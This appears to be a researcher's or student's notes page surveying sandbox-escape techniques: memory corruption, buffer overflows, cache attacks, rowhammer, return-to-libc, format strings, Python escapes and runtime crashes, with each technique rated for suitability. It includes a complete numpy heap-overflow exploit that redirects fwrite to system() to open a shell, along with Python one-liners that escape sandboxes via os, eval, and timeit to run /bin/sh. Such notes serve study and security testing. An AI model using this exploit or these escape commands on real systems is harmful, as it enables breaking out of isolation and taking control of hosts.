

Exploits - Corpus



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# Memory Corruption Bugs

## Memory Corruption

The lack of built-in memory safety in programming languages like C and C++ led to memory corruption vulnerabilities. Due to these vulnerabilities’ attackers may perform arbitrary writes to memory. Such writes may manipulate control-flow information on stack/heap or so-called non-control data. (Control flow: order in which individual statements, instructions, function calls of an imperative program are executed or evaluated. Source: <https://en.wikipedia.org/wiki/Control_flow>). An attacker may also influence the execution flow and eventually execute a malicious sequence of instructions. [1].

Exploiting a memory corruption bug means that the attacker may modify the content of a memory location exceeding the originally planned space leading the program to crash or perform unexcepted behavior. In the case of exploiting memory corruption in a sandbox the attacker may gain control of the system by being able to call restricted system() functions.

Python modules are often thin wrappers of mountainous C code bases. Exploiting memory corruption bugs may lead to an escape from the sandbox. [2]

Examples of wrapped functions are pythons resize (realloc) and print (fwrite). [2]

## Execution

1. Find a whitelisted module with a known memory corruption vulnerability
2. Exploit this vulnerability by modifying content of a memory location
3. Perform arbitrary read/write operations to gain control over the system

## Example (seems like return-to-libc exploit)

|  |
| --- |
| import numpy as np |
|  |  |
|  | # addr\_to\_str is a quick and dirty replacement for struct.pack(), needed |
|  | # for sandbox environments that block the struct module. |
|  | def addr\_to\_str(addr): |
|  | addr\_str = "%016x" % (addr) |
|  | ret = str() |
|  | for i in range(16, 0, -2): |
|  | ret = ret + addr\_str[i-2:i].decode('hex') |
|  | return ret |
|  |  |
|  | # read\_address and write\_address use overflown numpy arrays to search for |
|  | # bytearray objects we've sprayed on the heap, represented as a PyByteArray |
|  | # structure: |
|  | # |
|  | # struct PyByteArray { |
|  | # Py\_ssize\_t ob\_refcnt; |
|  | # struct \_typeobject \*ob\_type; |
|  | # Py\_ssize\_t ob\_size; |
|  | # int ob\_exports; |
|  | # Py\_ssize\_t ob\_alloc; |
|  | # char \*ob\_bytes; |
|  | # }; |
|  | # |
|  | # Once located, the pointer to actual data `ob\_bytes` is overwritten with the |
|  | # address that we want to read or write. We then cycle through the list of byte |
|  | # arrays until we find the one that has been corrupted. This bytearray is used |
|  | # to read or write the desired location. Finally, we clean up by setting |
|  | # `ob\_bytes` back to its original value. |
|  | def find\_address(addr, data=None): |
|  | i = 0 |
|  | j = -1 |
|  | k = 0 |
|  |  |
|  | if data: |
|  | size = 0x102 |
|  | else: |
|  | size = 0x103 |
|  | for k, arr in enumerate(arrays): |
|  | i = 0 |
|  | for i in range(0x2000): # 0x2000 is a value that happens to work |
|  | # Here we search for the signature of a PyByteArray structure |
|  | j = arr[0][i].find(addr\_to\_str(0x1)) # ob\_refcnt |
|  | if (j < 0 or |
|  | arr[0][i][j+0x10:j+0x18] != addr\_to\_str(size) or # ob\_size |
|  | arr[0][i][j+0x20:j+0x28] != addr\_to\_str(size+1)): # ob\_alloc |
|  | continue |
|  | idx\_bytes = j+0x28 # ob\_bytes |
|  |  |
|  | # Save an unclobbered copy of the bytearray metadata |
|  | saved\_metadata = arrays[k][0][i] |
|  |  |
|  | # Overwrite the ob\_bytes pointer with the provded address |
|  | addr\_string = addr\_to\_str(addr) |
|  | new\_metadata = (saved\_metadata[0:idx\_bytes] + |
|  | addr\_string + |
|  | saved\_metadata[idx\_bytes+8:]) |
|  | arrays[k][0][i] = new\_metadata |
|  |  |
|  | ret = None |
|  | for bytearray\_ in bytearrays: |
|  | try: |
|  | # We differentiate the signature by size for each |
|  | # find\_address invocation because we don't want to |
|  | # accidentally clobber the wrong bytearray structure. |
|  | # We know we've hit the structure we're looking for if |
|  | # the size matches and it contents do not equal 'XXXXXXXX' |
|  | if len(bytearray\_) == size and bytearray\_[0:8] != 'XXXXXXXX': |
|  | if data: |
|  | bytearray\_[0:8] = data # write memory |
|  | else: |
|  | ret = bytearray\_[0:8] # read memory |
|  |  |
|  | # restore the original PyByteArray->ob\_bytes |
|  | arrays[k][0][i] = saved\_metadata |
|  | return ret |
|  | except: |
|  | pass |
|  | raise Exception("Failed to find address %x" % addr) |
|  |  |
|  | def read\_address(addr): |
|  | return find\_address(addr) |
|  |  |
|  | def write\_address(addr, data): |
|  | find\_address(addr, data) |
|  |  |
|  |  |
|  | # The address of GOT/PLT entries for system() and fwrite() are hardcoded. These |
|  | # addresses are static for a given Python binary when compiled without -fPIE. |
|  | # You can obtain them yourself with the following command: |
|  | # `readelf -a /path/to/python/ | grep -E '(system|fwrite)' |
|  | SYSTEM = 0x8eb278 |
|  | FWRITE = 0x8eb810 |
|  |  |
|  | # Spray the heap with some bytearrays and overflown numpy arrays. |
|  | arrays = [] |
|  | bytearrays = [] |
|  | for i in range(100): |
|  | arrays.append(np.array('A'\*0x100)) |
|  | arrays[-1].resize(0x1000, 0x100000000000001) |
|  | bytearrays.append(bytearray('X'\*0x102)) |
|  | bytearrays.append(bytearray('X'\*0x103)) |
|  |  |
|  | # Read the address of system() and write it to fwrite()'s PLT entry. |
|  | data = read\_address(SYSTEM) |
|  | write\_address(FWRITE, data) |
|  |  |
|  | # print() will now call system() with whatever string you pass |
|  | print "PS1='[HACKED] $ ' /bin/sh" |

The exploit above gains access to a hacked shell by writing the address of system() to fwrite()’s PLT entry. The print function of python calls fwrite() which is overridden by system(). Calling print() with the parameter ‘/bin/sh’ results in the call system(‘/bin/sh’) opening a shell in the OS.

## Prevention

Data-execution prevention prevents malicious code injections in data memory but may be bypassed by means of return-oriented programming (ROP) where only code residing in memory will be reused.

Control flow integrity (CFI) + Control flow graphs (CFG) as another prevention method but CFG over-approximation opens door for subtle ROP attacks.

## Suitable Exploit?

For crashing the program -> yes

Suitable part of this exploit: just overflowing buffer resulting in program crash

# Buffer Overflow (maybe same as memory corruption bugs)

## Definition

A buffer overflow occurs when data written into buffer leads to overrunning the buffers boundaries. Overflowing a buffer may cause memory corruption leading to unexpected program behavior.

## Execution

1. Integer Overflow [6]
   1. Addition: Adding two numbers with the same sign and negative result
      1. Example: ‘signed integers: 0x7fffffff + 0x1 → 0x8000000 which is not representable with signed integers → result is -2147483648 + overflow occurred’
      2. Example: ‘unsigned integers: 0xffffffff + 0x1 → 0x100000000 → result is 0 + overflow occurred’
   2. Subtraction: Subtracting two numbers with different signs and positive result
   3. Multiplication: Result is bigger than max possible value (e.g. signed integer: result > 2147483648)

## Prevention

Checking data written into the buffer may prevent buffer overflows

## Suitable Exploit?

Yessir!

# Shared Memory Segments / Cache Attacks

## Cache Attacks

Cache attacks consist of exploiting the use of cache memory as a shared resource between different processes to disclose information. [4]

## Cache

Cache memory contains a subset of RAMs contents recently accessed by the CPU and it is typically arranged in a cache hierarchy. There are three different level of caches. The L1 cache, which is the smallest but fastest, followed by the L2 cache being slightly larger and the L3 cache the largest one which is connected to the ram. Whenever the CPU accesses physical memory, the respective address is first searched in the cache history. If the CPU requires an element not in the cache an event known as the ‘cache miss’ is triggered. As a result, to this event, an element is evicted from the cache to make room for the new element. The decision which element will be removed is determined by a heuristic algorithm depending on the processor generation. [4]

Intels cache micro-architecture is inclusive. This means that elements in the L1 cache exist in L2 and L3 caches. Evicting an element from the L3 cache evicts it from L2 and L1 also. In contrast to that stands AMDs architecture where the cache is exclusive. [4]

The L3 cache, also called last-level cache (LLC), is shared among all cores, threads and processes regardless of the protection rings or isolation mechanisms. [4]

On Intels architecture the LLC is divided into cache slices where each core is connected to one slice but has access to every other slice. These slices are further divided into cache sets where each one is covering a subset of physical address space. Each cache set contains several cache lines.

## Execution

1. Flush + Reload Attack [5]
   1. Flush: flush specific shared cache line by using cflush instruction
   2. Idle: wait for predetermined amount of time while victim is executing sensitive operations
   3. Reload: reload cache line from shared memory (by using reload time difference, attacker is able to infer victims access pattern for sensitive data from LLC cache lines
      1. Took too long to reload cache line: victim did not access sensitive data in shared page
      2. Took short time: shared cache line filled with victims data
2. Flush + Flush Attack (attack uses time difference between two cflush instructions instead of time difference between cache hits/misses) [5]
   1. Flush: same as above
   2. Idle: same as above
   3. Flush: attacker measures execution time of cflush instructions
      1. Took too long: implying victim accessed probing cache line
      2. Took short time: Victim did not access probing cache line
3. Prime + Probe Attack (aims at LLC set; attacker does not need to prepare shared memory; targets cache set; attacker needs to create eviction\_set sharing a cache set between attacker and victim in order to make a shared cache set)
   1. Prime: attacker fills cache sets with data
   2. Idle: wait for predetermined amount of time while victim is executing sensitive operations
   3. Probe: probe caches sets with prepared data + measure probing time
      1. Took to long or eviction\_set is changed: implying victim accessed cache set while evicting some cache lines of cache sets

## Suitable Exploit?

Probably not because these kinds of exploits focus on information gathering rather than on gaining privileges or leaving a sandbox

# Rowhammer

## DRAM

DRAM is organized as a 2D array of cells. Rows and columns are used for addressing a cell. For each cell the state of its capacitor (charged or uncharged) is used to denote a single bit of stored value. Accessing a cell needs its row to be activated in order to be copied to a row buffer. The repeating activation of a row can cause cells at adjacent rows to be discharged at faster rate. A bit is flipped if a cell state changes from charged to uncharged before it is refreshed. [3]

## Non-temporal instructions (maybe unnecessary because current sandbox has no additional defense layer)

## Definition (also called DRAM disturbance error)

Rowhammer attacks performed by reliably and repeatedly activating DRAM rows causing bit flips in adjacent rows. The key for these attacks is to repeatedly activate a row rather than accessing it. These bitflips can lead to a sandbox escape. [3]

## Execution

1. Pick addresses for memory access (addresses in same DRAM bank)
2. Repeatedly activate these addresses to cause a bit flip

## Example → https://github.com/vusec/hammertime

## Suitable Exploit?

## Maybe

# Heap-based ‘return-to-libc’

## Libc

Library containing standard functions that can be used by all C programs.

Contains functions like printf, strcpy, system. When such a function is called by a program, libc is dynamically linked to it

## Definition

Return Pointer will be overwritten by address pointing to one gadget which consists of libc base address + address of gadget. Such a gadget can be chained operations like calling execve with arg ‘/bin/sh’ + setuid(0).

The return pointer will be overwritten by overflowing the buffer via input

## Execution

1. Get address of ‘pop rdi; ret’ instruction (needed to pass null as param to setuid)
2. Get address of setuid instruction (needed to get admin privileges)
3. Get address of desired gadget (e.g execve with ‘/bin/sh’ as arg)
4. Send payload as input (junk + poprdiret + null + setuid + onegadget)

## Suitable Exploit?

No

# Incorrect argument-string parsing

# Bit Flips

# Format string attacks

## Definition

This attack works with format strings as input (e.g. %lx-%lx-%lx-%lx-%lx-%lx-). Printing out input results in hexadecimal characters. These characters contain stack content and leaked addresses. It is possible to find the stack canary and the libc base address (even if ASLR (address space layout randomization) is turned on). The found out addresses can be used to generate a payload which will be send as input resulting in overflowing the buffer, overwriting the return address etc. [7]

## Execution

1. Send format string
2. Read output and extract libc address and stack canary
3. Calc libc base from address and generat return to libc payload
4. Call setuid(0)
5. Use one\_gadget execve for executing ‘/bin/sh’

## Suitable Exploit?

No

# Escaping sandbox via python code

## Importing

* Os module present

os.execv('/bin/sh', (' ',))

* Sys module present -> use it to access os library

sys.modules['os'].system('/bin/sh')

* Sys module not present -> use eval to import os

eval("\_\_import\_\_('os').system('/bin/sh')")

## Functions

### Open + Read

Can be used to read files inside python sandbox leading to execution of written code to bypass sandbox

exec(open('shell.py').read())

### Timeit

timeit.timeit("\_\_import\_\_('os').system('/bin/sh')", number=1)

## Libc

Use libc to perform attacks described before python.

* Init libc

import ctypes

libc = ctypes.CDLL('libc.so.6')

libc.printf(b'Heyho from libc')

# Runtime Errors

## Definition

A runtime error is an error occurring while a program is running after being successfully compiled. Runtime errors are causing most of the time a system crash and are more difficult to track down than errors which can be detected before compilation. These errors are commonly called ‘bugs’. There is a variety of common runtime errors like logical, i/o, and undefined object errors. [8]

## SIGFPE

Floating-point error which is mostly caused by division through zero. Other common causes are modulo operation by zero and integer overflow

### Example

// C++ program to illustrate

// the SIGFPE error

#include <iostream>

using namespace std;

// Driver Code

int main()

{

    int a = 5;

    // Division by Zero

    cout << a / 0;

    return 0;

}

# python code causing division by zero error if 0 is given as second input

print('Enter two numbers for division')

val1 = input('Enter first number:')

val2 = input('Enter second number:')

result = int(val1)/int(val2)

print('Result:', result)

## SIGABRT

Generated by calling abort(). This error is used by standard libs to report an internal error. assert() in C++ also uses abort()

### Example

// C++ program to illustrate

// the SIGBRT error

#include <iostream>

using namespace std;

// Driver Code

int main()

{

    // Assigning excessive memory

    int a = 100000000000;

    int\* arr = new int[a];

    return 0;

}

## NZEC

‘Non-Zero Exit Code’. Can be generated in C++ by throwing an exception. Possible causes are: infinite recursion or running out of stack memory, negative array index accessed, ArrayIndexOutOfBounds/StringIndexOutOfBounds exception.

### Example

# Python program to illustrate

# the NZEC Error

# Driver Code

if \_\_name\_\_ == "\_\_main\_\_":

      arr = [1, 2]

    # Runtime Error

    # Array Index out of Bounds

    print(arr[2])

## SIGSEGV

Known as ‘Segmentation Fault’. This error is generated when a program tries to access memory that is not allowed to access or attempts to access a memory location. Common reasons are:

* accessing array out of bounds
* dereferencing NULL pointers/freed memory/uninitialized pointers
* incorrect use of ‘&’ (address of) and ‘\*’ (dereferencing) operators
* improper formatting specifiers in printf and scanf statements
* stack overflow
* writing to read-only memory

### Example

Accessing array out of bounds

// C++ program to demonstrate segmentation

// fault when array out of bound is accessed.

#include <iostream>

using namespace std;

int main()

{

   int arr[2];

   arr[3] = 10;  // Accessing out of bound

   return 0;

}

Infinite loop causing seg fault

// C++ program to illustrate

// the SIGSEGV error

#include <bits/stdc++.h>

using namespace std;

// Function with infinite

// Recursion

void infiniteRecur(int a)

{

    return infiniteRecur(a);

}

// Driver Code

int main()

{

    // Infinite Recursion

    infiniteRecur(5);

}

## Suitable?

Hell yes

# Literaturverzeichnis

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